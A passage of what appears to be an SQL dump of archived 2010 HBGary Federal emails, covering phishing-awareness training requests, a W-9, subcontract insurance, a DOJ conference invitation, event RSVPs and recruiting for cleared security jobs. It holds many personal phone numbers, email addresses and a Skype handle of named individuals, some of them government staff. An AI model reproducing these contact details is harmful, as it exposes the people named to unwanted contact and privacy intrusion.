on\r\n> Phishing/Spear Phishing/Spam). It is critical that we use this training\r\n> opportunity to convey the seriousness of the threat to our staff and I\r\n> would appreciate some help from your team to ensure are accomplish that\r\n> goal. I would like to go as far as using a real world example (perhaps\r\n> myself or someone from my team) to demonstrate how recognizance can be\r\n> performed by a bad actor against a DigitalGlobe employee and the\r\n> information gathered can be used to infiltrate the company through\r\n> social engineering, spear phishing, etc.... Also, we are working on\r\n> developing policy in this area so we could integrate the new policy into\r\n> the sessions.\r\n>>\r\n>>\r\n>>\r\n>> My original thought was to have a series of one or two hour sessions\r\n> (is that enough time?) divided into Class and Unclass. This way we can\r\n> introduce classified content, if available, into the classified only\r\n> sessions.\r\n>>\r\n>>\r\n>>\r\n>> I am also interested in the full-day training and executive briefings,\r\n> but the urgent need is to get the entire DigitalGlobe user population\r\n> trained on how they can protect the company and themselves from these\r\n> types of threats.\r\n>>\r\n>>\r\n>>\r\n>> Would you have sometime early next week to discuss possible options?\r\n>>\r\n>>\r\n>>\r\n>> Thanks so much for your time.\r\n>>\r\n>>\r\n>>\r\n>> Best,\r\n>>\r\n>> Dan Collender\r\n>>\r\n>> Manager, IT Security & Compliance\r\n',818,'aaron_hbgary_com/818.html'),(10765,'2010-08-23','\"Jerry McClure\" <Jerry.McClure@agilex.com>','/aaron@hbgary.com/new/1297008293.M720441P14101Q5620.eml','\"George Murray\" <George.Murray@agilex.com>,\"Ted Vera\" <ted@hbgary.com>,aaron@hbgary.com,\"George Murray\" <George.Murray@agilex.com>','RE: w-9','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nTed &#8211; Who can send us a w-9 form\r\nso we can set HbGary up for payment?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: George Murray \r\nSent: Monday, August 23, 2010 11:59 AM\r\nTo: Jerry McClure\r\nCc: Rebecca Thomas\r\nSubject: w-9\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nJerry &#8211; if you have a contact at HB Gary can you ask them to\r\nsend us a w-9 form so Rebecca can set them up in the system for payment?&nbsp;\r\nThanks. \r\n\r\n&nbsp;\r\n\r\nGeorge\r\nMurray\r\n\r\nFinancial\r\nPlanning Manager\r\n\r\nAgilex Technologies, Inc.\r\n\r\n5155 Parkstone\r\nDrive&nbsp;&nbsp;|&nbsp;&nbsp;Chantilly, VA 20151&nbsp;&nbsp;|&nbsp;&nbsp;www.agilex.com\r\np:703.483.4969&nbsp;&nbsp;george.murray@agilex.com\r\n\r\n&nbsp;\r\n\r\nLEGAL DISCLAIMER: The information in this email is confidential.\r\nIt is intended solely for the addressee. Access to this email by anyone else is\r\nunauthorized. If you are not the intended recipient, any disclosure, copying,\r\ndistribution or any action taken or omitted to be taken in reliance on it, is\r\nprohibited and may be unlawful.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2080,'aaron_hbgary_com/2080.html'),(10766,'2010-08-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008293.M937566P14101Q5621.eml','\"Jerry McClure\" <Jerry.McClure@agilex.com>,\"Jerry McClure\" <Jerry.McClure@agilex.com>,,,','Re: w-9','Penny (cc&#39;d) will send it later today. On Aug 23, 2010, at 11:11 AM, Jerry McClure &lt;Jerry.McClure@agilex.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nTed – Who can send us a w-9 form\r\nso we can set HbGary up for payment?\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: George Murray \r\n\r\nSent: Monday, August 23, 2010 11:59 AM\r\nTo: Jerry McClure\r\nCc: Rebecca Thomas\r\nSubject: w-9\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nJerry – if you have a contact at HB Gary can you ask them to\r\nsend us a w-9 form so Rebecca can set them up in the system for payment? \r\nThanks. \r\n\r\n \r\n\r\nGeorge\r\nMurray\r\n\r\nFinancial\r\nPlanning Manager\r\n\r\nAgilex Technologies, Inc.\r\n\r\n5155 Parkstone\r\nDrive  |  Chantilly, VA 20151  |  www.agilex.com\r\np:703.483.4969  george.murray@agilex.com\r\n\r\n \r\n\r\nLEGAL DISCLAIMER: The information in this email is confidential.\r\nIt is intended solely for the addressee. Access to this email by anyone else is\r\nunauthorized. If you are not the intended recipient, any disclosure, copying,\r\ndistribution or any action taken or omitted to be taken in reliance on it, is\r\nprohibited and may be unlawful.\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1267,'aaron_hbgary_com/1267.html'),(10767,'2010-08-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008294.M180962P14101Q5622.eml','\"Bushar, Ronald (JMD)\" <Ronald.Bushar@usdoj.gov>,\"Bushar, Ronald (JMD)\" <Ronald.Bushar@usdoj.gov>,,,','Re: 2011 DOJ Cyber Security Conference','Hi Ron,As Maria mentioned we are a \"sister\" company to HBGary, Inc. and are focused on delivering services with one of our focus areas being social media consulting and training. &nbsp;We gave a presentation a few months back at the NSA REBL conference on Social Media, Exploitation, and Persistent Internet operations and have more conferences scheduled over the coming months on similar topics. &nbsp;We emphasis effective use, risks, social media reconnaissance, and protective measures. &nbsp;I would be happy to give a SM presentation if its fits within your conference objectives.AaronOn Aug 23, 2010, at 11:30 AM, Bushar, Ronald (JMD) wrote:\r\n\r\nThanks Maria!\r\n\r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] \r\nSent: 23 August, 2010 11:29To: Bushar, Ronald \r\n(JMD)Cc: Rich Cummings; Aaron Barr; Ted Vera; Karen \r\nBurkeSubject: Re: 2011 DOJ Cyber Security \r\nConference\r\n\r\nHi Ron\r\n&nbsp;\r\nWe are honored to be asked!\r\n&nbsp;\r\nKaren Burke is our marketing manager.&nbsp; She will work with you to \r\nschedule a speaker and pin down a topic.&nbsp; We have a \"sister\" company HBGary \r\nFederal and I\'ll include them.&nbsp;Their focus is Services and Social \r\nEngineering Training -- they will reach out as well.\r\n&nbsp;\r\nMaria\r\n&nbsp;\r\nOn Mon, Aug 23, 2010 at 5:42 AM, Bushar, Ronald (JMD) \r\n&lt;Ronald.Bushar@usdoj.gov&gt; \r\nwrote:\r\n\r\n  \r\n  Hi Maria,\r\n  &nbsp;\r\n  I know we are in the middle of the pilot stuff, but I wanted to reach out \r\n  on another front.&nbsp; The Department is hosting a Cyber Security Conference \r\n  early next year, and I was wondering if you would be willing to consider \r\n  having an HBGary representative speak at the conference.&nbsp;&nbsp; The \r\n  conference dates are 8-9 February 2011 and the theme is: DOJ Cyber Security \r\n  \"Leveraging a Collaborative Defense.\"&nbsp;&nbsp; The conference will feature \r\n  managerial and technical tracks with tracks typically 45 minutes to an hour in \r\n  length.&nbsp; As with this year\'s conference, we are trying to include topics \r\n  which provide our security professionals practical information (e.g. something \r\n  they can apply to their work).&nbsp; Topics will need to be submitted for \r\n  review and approval.\r\n  &nbsp;\r\n  If you\'re interested please let me know and thanks for your \r\n  consideration.\r\n  &nbsp;\r\n  Best Regards,\r\n  Ron\r\n  &nbsp;\r\n  __________________________________________\r\n  Ronald \r\n  Bushar\r\n  Deputy Director | Justice \r\n  Security Operations Center\r\n  Department of \r\n  Justice\r\n  ron.bushar@usdoj.gov\r\n  O: 202.353.8907 | M: \r\n  202.598.9326\r\n  DOJCERT: \r\n  202.307.5332\r\n  &nbsp;\r\n  &nbsp;-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell \r\nPhone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: \r\n240-396-5971email: maria@hbgary.com \r\n&nbsp;&nbsp;\r\n',5694,'aaron_hbgary_com/5694.html'),(10768,'2010-08-23','\"John Harllee\" <John.Harllee@agilex.com>','/aaron@hbgary.com/new/1297008294.M424393P14101Q5623.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,,','RE: LANL','Ted - Your GL is fine - we can adjust the language - if you have a $2M umbrella on top of the $2M in GL, that is functionally $4M so you may be ok, but we can adjust the language if need be.\r\n\r\nOn the car insurance, I assume your guys will be renting cars to get there?  There is an insurance req associated with the auto in the prime contract for $500k . . .\r\n\r\nj\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Monday, August 23, 2010 12:23 PM\r\nTo: John Harllee\r\nCc: aaron@hbgary.com; Ira Entis; Jerry McClure\r\nSubject: Re: LANL\r\n\r\nHi John\r\n\r\nI have two questions about the insurance reqts. We do not have any\r\ncompany owned autos, I called my business insurance agent and he\r\nthought that since we have no company cars that we do not need\r\ninsurance. Also, we have $2M in GL, $1M per occurrence. If this is\r\ninsufficient, then i can have the policy adjusted effective today,\r\nalong with the $2m umbrella. Our existing work mans comp is compliant.\r\n\r\nTed\r\n\r\nOn Wednesday, August 18, 2010, John Harllee  wrote:\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> Aaron - please find attached the subcontract for provision\r\n> of services by HB Gary under Agilex\' contract with LANL.  Basically\r\n> 150 hours at $194/hr plus travel, work initiating on the 23rd of\r\n> August.  Any questions or concerns, I am available at your convenience at\r\n> 703.889.3854.\r\n>\r\n>\r\n>\r\n> Thanks much.\r\n>\r\n>\r\n>\r\n> j\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',2885,'aaron_hbgary_com/2885.html'),(10769,'2010-08-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008294.M646531P14101Q5624.eml','\"JD Kathuria\" <jd@executivebiz.com>','Event accepted: Invite - ExecutiveBiz 4x24 Dinner Series (Group 11)','Aaron Barr has accepted your iCal event invitation to the event: Invite - ExecutiveBiz 4x24 Dinner Series (Group 11), scheduled for September 29, 2010 at 5:30 PM (Eastern Standard Time).',13580,'aaron_hbgary_com/13580.html'),(10770,'2010-08-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008294.M847687P14101Q5625.eml','\"JD Kathuria\" <jd@executivebiz.com>','Event declined: Invite - ExecutiveBiz 4x24 Dinner Series (Group 11)','Aaron Barr has declined your iCal event invitation to the event: Invite - ExecutiveBiz 4x24 Dinner Series (Group 11), scheduled for September 29, 2010 at 5:30 PM (Eastern Standard Time).',8763,'aaron_hbgary_com/8763.html'),(10771,'2010-08-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008295.M289946P14101Q5627.eml','\"JD Kathuria\" <jd@executivebiz.com>','Event accepted: Invite - ExecutiveBiz 4x24 Dinner Series (Group 11)','Aaron Barr has accepted your iCal event invitation to the event: Invite - ExecutiveBiz 4x24 Dinner Series (Group 11), scheduled for November 18, 2010 at 5:30 PM (Eastern Standard Time).',16487,'aaron_hbgary_com/16487.html'),(10772,'2010-08-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008295.M47009P14101Q5626.eml','\"JD Kathuria\" <jd@executivebiz.com>','Re: Invite - ExecutiveBiz 4x24 Dinner Series (Group 11)','JD,I will be unable to attend this event as I will be out of town.AaronOn Jun 8, 2010, at 12:00 PM, JD Kathuria wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Wednesday, September 29, 2010 5:30 PM-8:30 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: The Ritz-Carlton - Tysons (1700 Tysons Blvd, McLean, VA 221202)\r\n&nbsp;\r\n*~*~*~*~*~*~*~*~*~*\r\n&nbsp;\r\nDear 4x24 Member;\r\n&nbsp;\r\nPlease join us on Wednesday, September 29th for the 2nd dinner in the 2010 ExecutiveBiz 4x24 Dinner Series.&nbsp; \r\n&nbsp;\r\nThis will be a joint-networking dinner with another 4x24 Group (Group 4).&nbsp; The networking will be held in the Plaza Room at The Ritz-Carlton – Tysons (1700 Tysons Blvd, McLean, VA 22102) and at 6:30pm the two groups\r\nwill separate for dinner.\r\n&nbsp;\r\nIf you have any additional questions, please contact me or Nicole Kaboli at 703-226-7006 or nicole@executivebiz.com.\r\n&nbsp;\r\nThanks so much,\r\n&nbsp;\r\nJD\r\n&nbsp;\r\nJD Kathuria\r\n\r\nEditor-in-Chief | ExecutiveBiz\r\n\r\no: 703 – 226 - 7010\r\n\r\nf: 703 – 752-7454\r\n\r\nExecutiveBiz is a weekly digital magazine and membership organization. Learn more: http://www.executivebiz.com\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n&lt;Mail Attachment.ics&gt;',14295,'aaron_hbgary_com/14295.html'),(10773,'2010-08-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008295.M511106P14101Q5628.eml','\"JD Kathuria\" <jd@executivebiz.com>','Event accepted: Invite - ExecutiveBiz 4x24 Dinner Series (Group 11)','Aaron Barr has accepted your iCal event invitation to the event: Invite - ExecutiveBiz 4x24 Dinner Series (Group 11), scheduled for January 26, 2011 at 5:30 PM (Eastern Standard Time).',3328,'aaron_hbgary_com/3328.html'),(10774,'2010-08-23','\"Jose sandoval\" <sandoval425@gmail.com>','/aaron@hbgary.com/new/1297008295.M725387P14101Q5629.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Jobs','Aaron, I have three friends of mine in the DC area that may be interested.  Do you want me to send them your contact info or do you have a job description already?\r\n \r\nJose\r\nOn Sun, Aug 22, 2010 at 12:02 PM, Jose sandoval &lt;sandoval425@gmail.com&gt; wrote:\r\n\r\nAaron, might be able to help you out.  Let me ping some of my friends in the DC area.  I have quite a few...\r\n \r\nJose\r\n\r\n\r\n\r\n \r\nOn Mon, Aug 16, 2010 at 8:29 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\nLinkedIn\r\nAaron Barr has sent you a message.\r\nDate: 8/16/2010 \r\nSubject: Jobs \r\nHey Jose, Hows it going? I have a question for you. I am looking to staff potential positions on the TSA ITSSS contract for lead incident responder, lead forensic analyst, lead SOC, lead cyber intelligence. \r\nKnow of anyone that has a TS and in DC or willing to relocate? I also have a few positions at CIA and NSA but those require full poly... Thanks, Aaron \r\nView/reply to this message\r\n\r\nDon&#39;t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n© 2010, LinkedIn Corporation\r\n',204,'aaron_hbgary_com/204.html'),(10775,'2010-08-23','\"Kirby Kintner\" <kkintner@digitalmanagement.com>','/aaron@hbgary.com/new/1297008295.M935404P14101Q5630.eml','\"Andretta, Christine N (TASC)\" <Christine.Andretta@TASC.COM>,\"Friedman, Bruce L (IS)\" <bruce.friedman@ngc.com>,\"rob.wilson@telos.com\" <rob.wilson@telos.com>,\"Sanderson, Robert\" <robert.sanderson@telos.com>,\"Moskwa, Dwane\" <dwane.moskwa@secureinfo.com>,\"Moore, Debbie Taylor\" <dtmoore@secureinfo.com>,\"Meaney, Paul A (IS)\" <Paul.Meaney@ngc.com>,\"Spalding, Sondra M (TASC)\" <Sondra.Spalding@TASC.COM>,nathan.curll@apg.com,\"aaron@hbgary.com\" <aaron@hbgary.com>,\"Andretta, Christine N (TASC)\" <Christine.Andretta@TASC.COM>,\"Friedman, Bruce L (IS)\" <bruce.friedman@ngc.com>,\"rob.wilson@telos.com\" <rob.wilson@telos.com>','Open Key Personnel Slots','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nTeam: \r\n\r\nWe\r\nare fast approaching the point where our proposal will be in serious jeopardy.&nbsp;\r\nWe still have two open key personnel slots: Team Lead, E-Discovery and CCIP\r\nProgram Analyst.&nbsp; Without these two resumes, we will not have a winning\r\nproposal.&nbsp; We have all put in a lot of effort to develop this\r\nproposal, we cannot let this opportunity die now.\r\n\r\n&nbsp;\r\n\r\nI\r\nask all of you to focus your efforts today and tomorrow to get me candidates for\r\nthese two positions.&nbsp; Call your security contacts; call in favors from\r\nother resources; leave no avenue uninvestigated &#8211; no stone unturned. &nbsp;&nbsp;New\r\nguidance - the e-Discovery person is essentially a digital forensics specialist\r\nwith E-Discovery Tool experience (email tool experience (E-Discovery tools\r\nincluding but not limited to: Attenex, Autonomy, and Concordance) and email recovery\r\ntools experience (Kroll Ontrack Power Controls and Paraben E-mail Examiner). \r\n\r\n&nbsp;\r\n\r\nIdeally\r\nI&#8217;d like to wrap resumes by Wednesday CoB. \r\n\r\n&nbsp;\r\n\r\nGive\r\nit your all.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nThanx\r\n\r\n\r\nKirby\r\n\r\n703-966-7887\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2998,'aaron_hbgary_com/2998.html'),(10776,'2010-08-23','\"Bushar, Ronald (JMD)\" <Ronald.Bushar@usdoj.gov>','/aaron@hbgary.com/new/1297008298.M197148P14101Q5631.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,,','RE: 2011 DOJ Cyber Security Conference','\r\n\r\n\r\n\r\n\r\nAaron,\r\nThanks for the response.&nbsp; I was at that REBL \r\npresentation, and thought it was very good.&nbsp; Please fill out the attached \r\nnomination form and I will get you scheduled in.&nbsp; Thanks, and I look \r\nforward to your participation.&nbsp; \r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: 23 August, 2010 13:24To: Bushar, Ronald \r\n(JMD)Cc: \'Maria Lucas\'; Rich Cummings; Ted Vera; Karen \r\nBurkeSubject: Re: 2011 DOJ Cyber Security \r\nConference\r\nHi Ron,\r\n\r\nAs Maria mentioned we are a \"sister\" company to HBGary, Inc. and are \r\nfocused on delivering services with one of our focus areas being social media \r\nconsulting and training. &nbsp;We gave a presentation a few months back at the \r\nNSA REBL conference on Social Media, Exploitation, and Persistent Internet \r\noperations and have more conferences scheduled over the coming months on similar \r\ntopics. &nbsp;We emphasis effective use, risks, social media reconnaissance, and \r\nprotective measures. &nbsp;I would be happy to give a SM presentation if its \r\nfits within your conference objectives.\r\n\r\nAaron\r\n\r\n\r\nOn Aug 23, 2010, at 11:30 AM, Bushar, Ronald (JMD) wrote:\r\n\r\n  \r\n  Thanks Maria!\r\n  \r\n  \r\n  From: Maria Lucas [mailto:maria@hbgary.com] \r\n  Sent: 23 August, 2010 11:29To: Bushar, Ronald \r\n  (JMD)Cc: Rich Cummings; Aaron Barr; Ted Vera; Karen \r\n  BurkeSubject: Re: 2011 DOJ Cyber Security \r\n  Conference\r\n  \r\n  Hi Ron\r\n  &nbsp;\r\n  We are honored to be asked!\r\n  &nbsp;\r\n  Karen Burke is our marketing manager.&nbsp; She will work with you to \r\n  schedule a speaker and pin down a topic.&nbsp; We have a \"sister\" company \r\n  HBGary Federal and I\'ll include them.&nbsp;Their focus is Services and Social \r\n  Engineering Training -- they will reach out as well.\r\n  &nbsp;\r\n  Maria\r\n  &nbsp;\r\n  On Mon, Aug 23, 2010 at 5:42 AM, Bushar, Ronald (JMD) \r\n  &lt;Ronald.Bushar@usdoj.gov&gt; \r\n  wrote:\r\n  \r\n    \r\n    Hi Maria,\r\n    &nbsp;\r\n    I know we are in the middle of the pilot stuff, but I wanted to reach \r\n    out on another front.&nbsp; The Department is hosting a Cyber Security \r\n    Conference early next year, and I was wondering if you would be willing to \r\n    consider having an HBGary representative speak at the \r\n    conference.&nbsp;&nbsp; The conference dates are 8-9 February 2011 and the \r\n    theme is: DOJ Cyber Security \"Leveraging a Collaborative \r\n    Defense.\"&nbsp;&nbsp; The conference will feature managerial and technical \r\n    tracks with tracks typically 45 minutes to an hour in length.&nbsp; As with \r\n    this year\'s conference, we are trying to include topics which provide our \r\n    security professionals practical information (e.g. something they can apply \r\n    to their work).&nbsp; Topics will need to be submitted for review and \r\n    approval.\r\n    &nbsp;\r\n    If you\'re interested please let me know and thanks for your \r\n    consideration.\r\n    &nbsp;\r\n    Best Regards,\r\n    Ron\r\n    &nbsp;\r\n    __________________________________________\r\n    Ronald \r\n    Bushar\r\n    Deputy Director | \r\n    Justice Security Operations Center\r\n    Department of \r\n    Justice\r\n    ron.bushar@usdoj.gov\r\n    O: 202.353.8907 | M: \r\n    202.598.9326\r\n    DOJCERT: \r\n    202.307.5332\r\n    &nbsp;\r\n    &nbsp;-- \r\n  Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell \r\n  Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: \r\n  240-396-5971email: maria@hbgary.com \r\n  &nbsp;&nbsp;\r\n',13606,'aaron_hbgary_com/13606.html'),(10777,'2010-08-23','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008298.M457098P14101Q5632.eml','\"Aaron Barr\" <aaron@hbgary.com>','GFIRST contact','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nArun Sood from George Mason University was looking for you\r\nat GFIRST.&nbsp; He is a professor.\r\n\r\n703-993-1524 / asood@gmu.edu\r\n\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8427,'aaron_hbgary_com/8427.html'),(10778,'2010-08-23','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008298.M700769P14101Q5633.eml','all@hbgary.com','Thank you to Ted','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nMaria and I extend a big &#8220;Thank you&#8221; to Ted for\r\nproviding first class tech support at the GFIRST conference and at an important\r\nmeeting at Lackland AFB.&nbsp; He may have felt like a newbie with our software,\r\nbut he presented himself like a well prepared pro.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6327,'aaron_hbgary_com/6327.html'),(10779,'2010-08-23','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008298.M909142P14101Q5634.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: Thank you to Ted','Yes, Ted is extremely skillful when engaging with customers and prospects.  Ted added tremendous value to the event.\r\n \r\nThank you Ted!\r\nOn Mon, Aug 23, 2010 at 1:15 PM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nAll,\r\n \r\nMaria and I extend a big “Thank you” to Ted for providing first class tech support at the GFIRST conference and at an important meeting at Lackland AFB.  He may have felt like a newbie with our software, but he presented himself like a well prepared pro.\r\n\r\n \r\nBob \r\n \r\n -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n',13167,'aaron_hbgary_com/13167.html'),(10780,'2010-08-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008299.M138820P14101Q5635.eml','\"Jose sandoval\" <sandoval425@gmail.com>','Re: Jobs','Hi Jose,Thanks for responding. &nbsp;I would be very interested to talk with them. &nbsp;Do you know what their clearance levels are?I have both current and future positions.The key personnel positions on TSA are filling fast but we still need a Lead for E-discovery and CIP Program Analyst.On Gatorbait I need REs with ISSAOn NANA I need malware and intel analysts with ISSA.I have some R&amp;D work starting soon. &nbsp;One is to develop a system reputation capability. &nbsp;This will require knowledge of memory and system analysis, and software development skills. &nbsp;The other is to build a social media reputation capability, requires software development.I can always use good IR folks as well. &nbsp;Our IR business is starting to grow.AaronOn Aug 23, 2010, at 2:03 PM, Jose sandoval wrote:Aaron, I have three friends of mine in the DC area that may be interested.&nbsp; Do you want me to send them your contact info or do you have a job description already?\r\n&nbsp;\r\nJose\r\nOn Sun, Aug 22, 2010 at 12:02 PM, Jose sandoval &lt;sandoval425@gmail.com&gt; wrote:\r\n\r\nAaron, might be able to help you out.&nbsp; Let me ping some of my friends in the DC area.&nbsp; I have quite a few...\r\n&nbsp;\r\nJose\r\n\r\n\r\n\r\n&nbsp;\r\nOn Mon, Aug 16, 2010 at 8:29 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\nLinkedInAaron Barr has sent you a message.Date: 8/16/2010 Subject: Jobs Hey Jose, Hows it going? I have a question for you. I am looking to staff potential positions on the TSA ITSSS contract for lead incident responder, lead forensic analyst, lead SOC, lead cyber intelligence. \r\nKnow of anyone that has a TS and in DC or willing to relocate? I also have a few positions at CIA and NSA but those require full poly... Thanks, Aaron View/reply to this messageDon\'t want to receive e-mail notifications? Adjust your message settings.© 2010, LinkedIn Corporation\r\n',14419,'aaron_hbgary_com/14419.html'),(10781,'2010-08-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008299.M383929P14101Q5636.eml','\"Bart Hopper\" <bart.hopper@gmail.com>','Re: Securabit Information Security Podcast','Sure sounds good.skype name: adbarrphone#: 7195108478e-mail address: aaron@hbgary.comtwitter id: aaronbarrFor some background:HBGary and HBGary Federal are separate \"sister\" companies. &nbsp;HBGary Inc delivers malware analysis, incident response, threat intelligence, enterprise malware detection products. &nbsp;HBGary Federal delivers services, mostly to government in those areas as well as one other area, information operations. &nbsp;On the HBGary Federal side we are very focused right now on social media, understanding its benefits, effective uses, and vulnerabilities.Let me know if you need anything else.AaronOn Aug 23, 2010, at 11:45 AM, Bart Hopper wrote:Aaron,Would you be available for the Securabit podcast on Wednesday, September 22 at 8:00pm Eastern time? Since Jason forwarded me the e-mail, I assume you are familiar with the podcast.We record on alternate Wednesday nights at 8:00 Eastern time. We prefer to use Skype if possible. For audio quality purposes, it is recommended that you not use the microphone and speakers built-in to a notebook computer. (Inexpensive mic headsets that cost as little as $15 work fine) The show recording takes about 1 1/2 hours but is edited down (to remove dead air, noise, etc) to about an hour. The shows are generally released on the following Monday. During the show, the hosts and limited number of live listeners chat in the IRC channel irc://irc.freenode.net#securabit. Feel free to join if you wish.\r\nCan I get some information to setup the appearance on the calendar?Skype name:Backup phone number:e-mail address:Twitter id: (if you have one)If you have any questions, please let me know.\r\n\r\nRegards,Bart \"d4ncingd4n\" HopperAaron,Bart is our PR guy for the show and he\'ll be able to set\r\nup a time that works best for you.&nbsp; Please let me know if you have any\r\nquestions and I\'ll be sure to help out where needed.&nbsp; Bart,\r\nCan you please schedule Aaron Barr, CEO of HBGary Federal, to talk about their products and upcoming events on their end.Looking forward to another great show!R/Jason MuellerCo-founder of SecuraBit LLC\r\nwww.SecuraBit.comOn Wed, Aug 18, 2010 at 10:15 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nHi Jason,\r\n\r\nThanks for the response. &nbsp;Its a small community so please definitely stay in contact and I\'ll do the same.\r\nSure lets get on the phone or meet and talk about\r\nthe podcast, I can tell you a little about what we are up to and go\r\nfrom there.Let me know some good times.\r\nAaronOn Aug 17, 2010, at 9:27 PM, Jason Mueller wrote:\r\nAaron,Thanks\r\nfor your interest and yes I\'m familiar with HBGary. Our RE guys used it\r\nat my last customer site. &nbsp;I just left Symantec in April and jumped on\r\nwith ArcSight which seems to be working out quite well. I\'ll keep your\r\ninfo handy and I\'m sure we\'ll bump into one another at some point in\r\nthe near future. In the meantime, any interest in sharing your product\r\nand thoughts with the SecuraBit podcast? &nbsp;Let me know and I\'ll get a\r\ndate that works best for you. We record every other Wednesday at 8pm\r\nand average roughly 5k downloads per show. &nbsp;Check out www.SecuraBit.com to see a list of prior guests.&nbsp;\r\nR/Jason MuellerSecurity Engineer, Federal Servicesjmueller@ArcSight.com\r\nCell: (540) 842-7019\r\n5 Results WayCupertino, CA 95014www.ArcSight.comSent from my iPhone, please excuse typos.&nbsp;\r\n\r\nArcSight Protect \'10 - 6th Annual Users ConferenceSeptember 19 - 22,2010Gaylord National Resort - Washington D.C.Register Now&lt;http://www.arcsight.com/protect10&gt; - Receive 12 CPE credits for attending!\r\n\r\nOn Aug 17, 2010, at 8:13 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedInAaron Barr has sent you a message.\r\n  Date:\r\n  8/17/2010\r\n\r\n  Subject:\r\n  Introduction\r\n\r\n  Hey Jason,\r\n\r\nThanks for accepting. I am not sure if you know much about HBGary or\r\nHBGary Federal. Leading HBGary Federal I am focused on improving\r\ncybersecurity leveraging key people, partnerships, technologies, and\r\nprocesses. I am looking to fill some key positions and would like to\r\ndiscuss them with you if your interested, if not at this time, no\r\nproblem, its a small community and connections are a good thing.\r\n\r\n\r\n\r\nI have IC contracts in VA/MD for REs and Cyber/Threat Analysts (require full poly).\r\n\r\n\r\n\r\nAlso looking for: (require TS Collateral)\r\n\r\n\r\n\r\nLead SOC mgr\r\n\r\nLead IR mgr\r\n\r\nLead Forensic Analyst\r\n\r\nLead Cyber Intel Analyst\r\n\r\nLead Threat Mgr\r\n\r\nThank You,\r\n\r\n\r\n\r\nAaron Barr\r\n\r\nCEO HBGary Federal\r\n\r\n719.510.8478\r\n\r\nView/reply to this messageDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n© 2010, 